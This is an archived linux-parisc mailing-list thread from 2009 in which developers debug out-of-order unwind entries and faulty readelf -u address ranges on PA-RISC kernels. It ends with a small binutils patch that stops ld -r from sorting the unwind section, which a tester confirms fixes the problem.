>          Entry_GR=1 Save_SP Total_frame_size=8
> <arch_mod_section_prepend>: [0x1011fc00-0x10167dec]
>          Entry_GR=1 Save_SP Total_frame_size=8
> <module_arch_cleanup>: [0x1011fc2c-0x1011fc6c]
>          Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> <apply_relocate>: [0x1011fc70-0x1011fca4]
>          Entry_GR=1 Save_SP Save_RP Total_frame_size=8
> <module_finalize>: [0x1011fca8-0x1011fe8c]
>          Entry_GR=11 Save_SP Save_RP Total_frame_size=16
> <get_stub>: [0x1011fe90-0x1011ffb4]
>          Entry_GR=1 Save_SP Total_frame_size=8
> <apply_relocate_add>: [0x1011ffb8-0x101205b8]
>          Entry_GR=16 Save_SP Save_RP Total_frame_size=24
> <module_frob_arch_sections>: [0x101205bc-0x10120758]
>          Entry_GR=10 Save_SP Save_RP Total_frame_size=16
> <module_free>: [0x1012075c-0x101207a4]
>          Entry_GR=3 Save_SP Save_RP Total_frame_size=8
> <module_alloc>: [0x101207a8-0x101207e4]
>          Entry_GR=1 Save_SP Save_RP Total_frame_size=8
> <dump_trace>: [0x101207e8-0x10120904]
>          Entry_GR=7 Save_SP Save_RP Total_frame_size=80
> <save_stack_trace_tsk>: [0x10120908-0x10120958]
>          Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> <save_stack_trace_tsk>: [0x10120908-0x1015c7ac]
>          Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> <save_stack_trace>: [0x1012095c-0x101209b8]
>          Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> <sgl_frnd>: [0x101209bc-0x10120b8c]
>          Entry_GR=1 Save_SP Total_frame_size=8
> <dbl_frnd>: [0x10120b90-0x10120e74]
>          Entry_GR=1 Save_SP Total_frame_size=8
> --------------------------------------------------------------

It's not exactly clear what's going on.  I would say that the old
and new versions of readelf should produce identical results on the
same kernel.  The readelf change was only supposed to affect the
output from .o's.

Looking at the code for arch_mod_section_prepend in one of my kernels,
there are no saved registers and there is no frame allocated.  Thus,
the "Entry_GR=1 Save_SP Total_frame_size=8" printed by the old version
of readelf might be wrong.  However, you can't tell unless you compare
the actual code with the readelf -u output.

There seems to a problem with readelf -u on 32-bit kernels.  The
address ranges are wrong.  The segment offset doesn't seem to be
being handled correctly.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Fri, 30 Oct 2009 22:19:26 -0400
Organization: nrc.ca
Lines: 30
Approved: news@gmane.org
Message-ID: <20091031021925.GA425@hiauly1.hia.nrc.ca>
References: <4AEB6CEB.6010205@gmx.de> <20091031004132.CA8C34FE3@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256955579 6355 80.91.229.12 (31 Oct 2009 02:19:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 Oct 2009 02:19:39 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 31 03:19:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N43Yw-0000rz-VX
	for glpp-linux-parisc@lo.gmane.org; Sat, 31 Oct 2009 03:19:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757614AbZJaCTX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Oct 2009 22:19:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757628AbZJaCTX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 30 Oct 2009 22:19:23 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4368 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757614AbZJaCTX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Oct 2009 22:19:23 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 011E34FE3; Fri, 30 Oct 2009 22:19:26 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20091031004132.CA8C34FE3@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2284
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2284>

On Fri, 30 Oct 2009, John David Anglin wrote:

> There seems to a problem with readelf -u on 32-bit kernels.  The
> address ranges are wrong.  The segment offset doesn't seem to be
> being handled correctly.

readelf -u uses the base address of the segment containing the
.PARISC.unwind section.  On 64-bit kernels, the .PARISC.unwind
section is in the same segment as the .text section, so the
addresses print are correct.  However, on recent 32-bit kernels,
this is not the case:

 Section to Segment mapping:
  Segment Sections...
   00     .text .rodata .init.rodata __bug_table .pci_fixup .builtin_fw __ksymtab __ksymtab_gpl __kcrctab __kcrctab_gpl __ksymtab_strings __param 
   01     __ex_table .PARISC.unwind .data.read_mostly .data .got .data.vmpages .bss 
   02     .data.init_task .init.text .init.data .init.setup .initcall.init .con_initcall.init .exit.text 
   03     

.PARISC.unwind is readonly, so it shouldn't be in a W segment.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Sat, 31 Oct 2009 08:39:43 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <4AEBE9BF.6070403@gmx.de>
References: <4AEB6CEB.6010205@gmx.de> <20091031004132.CA8C34FE3@hiauly1.hia.nrc.ca> <20091031021925.GA425@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256974797 5946 80.91.229.12 (31 Oct 2009 07:39:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 Oct 2009 07:39:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 31 08:39:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N48Yv-0006hh-4E
	for glpp-linux-parisc@lo.gmane.org; Sat, 31 Oct 2009 08:39:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753396AbZJaHjm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 Oct 2009 03:39:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753421AbZJaHjm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 31 Oct 2009 03:39:42 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:51154 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753396AbZJaHjm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 Oct 2009 03:39:42 -0400
Original-Received: (qmail invoked by alias); 31 Oct 2009 07:39:45 -0000
Original-Received: from p4FDB07A9.dip0.t-ipconnect.de (EHLO halden.box) [79.219.7.169]
  by mail.gmx.net (mp052) with SMTP; 31 Oct 2009 08:39:45 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+3fh0/VCm3gl2/rynuC3c1aoXDBuQ/blhQq0TjPV
	d6ptgDERm0YIk+
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091031021925.GA425@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.66
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2285
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2285>

On 10/31/2009 03:19 AM, John David Anglin wrote:
> On Fri, 30 Oct 2009, John David Anglin wrote:
>
>> There seems to a problem with readelf -u on 32-bit kernels.  The
>> address ranges are wrong.  The segment offset doesn't seem to be
>> being handled correctly.
>
> readelf -u uses the base address of the segment containing the
> .PARISC.unwind section.  On 64-bit kernels, the .PARISC.unwind
> section is in the same segment as the .text section, so the
> addresses print are correct.  However, on recent 32-bit kernels,
> this is not the case:
>
>   Section to Segment mapping:
>    Segment Sections...
>     00     .text .rodata .init.rodata __bug_table .pci_fixup .builtin_fw __ksymtab __ksymtab_gpl __kcrctab __kcrctab_gpl __ksymtab_strings __param
>     01     __ex_table .PARISC.unwind .data.read_mostly .data .got .data.vmpages .bss
>     02     .data.init_task .init.text .init.data .init.setup .initcall.init .con_initcall.init .exit.text
>     03
>
> .PARISC.unwind is readonly, so it shouldn't be in a W segment.


apply the patch in http://patchwork.kernel.org/patch/55797/ before testing.
.PARISC.unwind is then still in a RW segment, but at least you will get more reliable output.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Sun, 1 Nov 2009 18:16:54 -0500
Organization: nrc.ca
Lines: 20
Approved: news@gmane.org
Message-ID: <20091101231654.GA11493@hiauly1.hia.nrc.ca>
References: <20091029233501.152D1500F@hiauly1.hia.nrc.ca> <4AEB6CEB.6010205@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1257117431 26978 80.91.229.12 (1 Nov 2009 23:17:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Nov 2009 23:17:11 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 02 00:17:04 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N4jfT-0005kl-J2
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Nov 2009 00:17:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752247AbZKAXQw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Nov 2009 18:16:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752232AbZKAXQw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 1 Nov 2009 18:16:52 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4484 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752128AbZKAXQv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Nov 2009 18:16:51 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6B1EF4F19; Sun,  1 Nov 2009 18:16:55 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <4AEB6CEB.6010205@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2286
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2286>

On Fri, 30 Oct 2009, Helge Deller wrote:

> But when compiling the kernel something is still wrong.
> I tried it a few times now, recompiled binutils, the kernel and so on.
> I'm not 100% sure that I did everything correct, but I still think there is
> something wrong...

I believe that you are correct but I think we have another unrelated bug.
It appears that the unwind data is getting messed up in the link of
built-in.o.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Sun, 1 Nov 2009 20:40:26 -0500
Organization: nrc.ca
Lines: 24
Approved: news@gmane.org
Message-ID: <20091102014025.GA12169@hiauly1.hia.nrc.ca>
References: <20091029233501.152D1500F@hiauly1.hia.nrc.ca> <4AEB6CEB.6010205@gmx.de> <20091101231654.GA11493@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1257126040 12974 80.91.229.12 (2 Nov 2009 01:40:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Nov 2009 01:40:40 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 02 02:40:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N4luK-0004do-7i
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Nov 2009 02:40:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753015AbZKBBkY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Nov 2009 20:40:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753061AbZKBBkY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 1 Nov 2009 20:40:24 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4498 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753015AbZKBBkY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Nov 2009 20:40:24 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 01F584E7A; Sun,  1 Nov 2009 20:40:26 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20091101231654.GA11493@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2287
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2287>

On Sun, 01 Nov 2009, John David Anglin wrote:

> On Fri, 30 Oct 2009, Helge Deller wrote:
> 
> > But when compiling the kernel something is still wrong.
> > I tried it a few times now, recompiled binutils, the kernel and so on.
> > I'm not 100% sure that I did everything correct, but I still think there is
> > something wrong...
> 
> I believe that you are correct but I think we have another unrelated bug.
> It appears that the unwind data is getting messed up in the link of
> built-in.o.

It seems the unwind data is being sorted by ld -r.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Sun, 1 Nov 2009 21:34:32 -0500
Organization: nrc.ca
Lines: 73
Approved: news@gmane.org
Message-ID: <20091102023432.GA12425@hiauly1.hia.nrc.ca>
References: <20091029233501.152D1500F@hiauly1.hia.nrc.ca> <4AEB6CEB.6010205@gmx.de> <20091101231654.GA11493@hiauly1.hia.nrc.ca> <20091102014025.GA12169@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="xHFwDpU9dbj6ez1V"
X-Trace: ger.gmane.org 1257129289 19842 80.91.229.12 (2 Nov 2009 02:34:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Nov 2009 02:34:49 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 02 03:34:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N4mkj-0007EC-3a
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Nov 2009 03:34:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751774AbZKBCed (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Nov 2009 21:34:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752420AbZKBCed
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 1 Nov 2009 21:34:33 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4505 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751774AbZKBCed (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Nov 2009 21:34:33 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D537C4EF8; Sun,  1 Nov 2009 21:34:33 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20091102014025.GA12169@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2288
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2288>


--xHFwDpU9dbj6ez1V
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Sun, 01 Nov 2009, John David Anglin wrote:

> On Sun, 01 Nov 2009, John David Anglin wrote:
> 
> > On Fri, 30 Oct 2009, Helge Deller wrote:
> > 
> > > But when compiling the kernel something is still wrong.
> > > I tried it a few times now, recompiled binutils, the kernel and so on.
> > > I'm not 100% sure that I did everything correct, but I still think there is
> > > something wrong...
> > 
> > I believe that you are correct but I think we have another unrelated bug.
> > It appears that the unwind data is getting messed up in the link of
> > built-in.o.
> 
> It seems the unwind data is being sorted by ld -r.

Does the attached patch fix the problem?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--xHFwDpU9dbj6ez1V
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="unwind.d"

Index: elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.168
diff -u -3 -p -r1.168 elf32-hppa.c
--- elf32-hppa.c	18 Jun 2009 14:18:28 -0000	1.168
+++ elf32-hppa.c	2 Nov 2009 02:32:05 -0000
@@ -3238,6 +3238,9 @@ elf32_hppa_final_link (bfd *abfd, struct
 
   /* If we're producing a final executable, sort the contents of the
      unwind section.  */
+  if (info->relocatable)
+    return TRUE;
+
   return elf_hppa_sort_unwind (abfd);
 }
 
Index: elf64-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf64-hppa.c,v
retrieving revision 1.92
diff -u -3 -p -r1.92 elf64-hppa.c
--- elf64-hppa.c	21 May 2009 14:15:49 -0000	1.92
+++ elf64-hppa.c	2 Nov 2009 02:32:05 -0000
@@ -3033,7 +3033,7 @@ elf_hppa_final_link (bfd *abfd, struct b
 
   /* If we're producing a final executable, sort the contents of the
      unwind section. */
-  if (retval)
+  if (retval && !info->relocatable)
     retval = elf_hppa_sort_unwind (abfd);
 
   return retval;

--xHFwDpU9dbj6ez1V--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Mon, 02 Nov 2009 22:02:31 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <4AEF48E7.9090504@gmx.de>
References: <20091029233501.152D1500F@hiauly1.hia.nrc.ca> <4AEB6CEB.6010205@gmx.de> <20091101231654.GA11493@hiauly1.hia.nrc.ca> <20091102014025.GA12169@hiauly1.hia.nrc.ca> <20091102023432.GA12425@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257196343 30010 80.91.229.12 (2 Nov 2009 21:12:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Nov 2009 21:12:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 02 22:12:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N54CF-0004nW-0N
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Nov 2009 22:12:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755245AbZKBVMJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Nov 2009 16:12:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755252AbZKBVMJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Nov 2009 16:12:09 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:45933 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755245AbZKBVMI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Nov 2009 16:12:08 -0500
Original-Received: (qmail invoked by alias); 02 Nov 2009 21:02:35 -0000
Original-Received: from p4FDB2BAA.dip0.t-ipconnect.de (EHLO halden.box) [79.219.43.170]
  by mail.gmx.net (mp007) with SMTP; 02 Nov 2009 22:02:35 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19+UrINBkp+dvRwD72l0wbvJeN3CmGHCwp6n4v+W9
	j+uW+hvrJqUa1k
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091102023432.GA12425@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.67
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2289
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2289>

On 11/02/2009 03:34 AM, John David Anglin wrote:
> On Sun, 01 Nov 2009, John David Anglin wrote:
>
>> On Sun, 01 Nov 2009, John David Anglin wrote:
>>
>>> On Fri, 30 Oct 2009, Helge Deller wrote:
>>>
>>>> But when compiling the kernel something is still wrong.
>>>> I tried it a few times now, recompiled binutils, the kernel and so on.
>>>> I'm not 100% sure that I did everything correct, but I still think there is
>>>> something wrong...
>>>
>>> I believe that you are correct but I think we have another unrelated bug.
>>> It appears that the unwind data is getting messed up in the link of
>>> built-in.o.
>>
>> It seems the unwind data is being sorted by ld -r.
>
> Does the attached patch fix the problem?

Yes, it does :-)

All of your patches applied seem to work 100% OK.

Helge

PS: I only tested 32bit, but I assume 64bit will then work as well.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Mon, 2 Nov 2009 16:50:25 -0500 (EST)
Lines: 134
Approved: news@gmane.org
Message-ID: <20091102215027.07A81500F@hiauly1.hia.nrc.ca>
References: <4AEF48E7.9090504@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257198640 6524 80.91.229.12 (2 Nov 2009 21:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Nov 2009 21:50:40 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 02 22:50:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N54nI-0007YW-Do
	for glpp-linux-parisc@lo.gmane.org; Mon, 02 Nov 2009 22:50:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756425AbZKBVu0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Nov 2009 16:50:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756901AbZKBVu0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Nov 2009 16:50:26 -0500
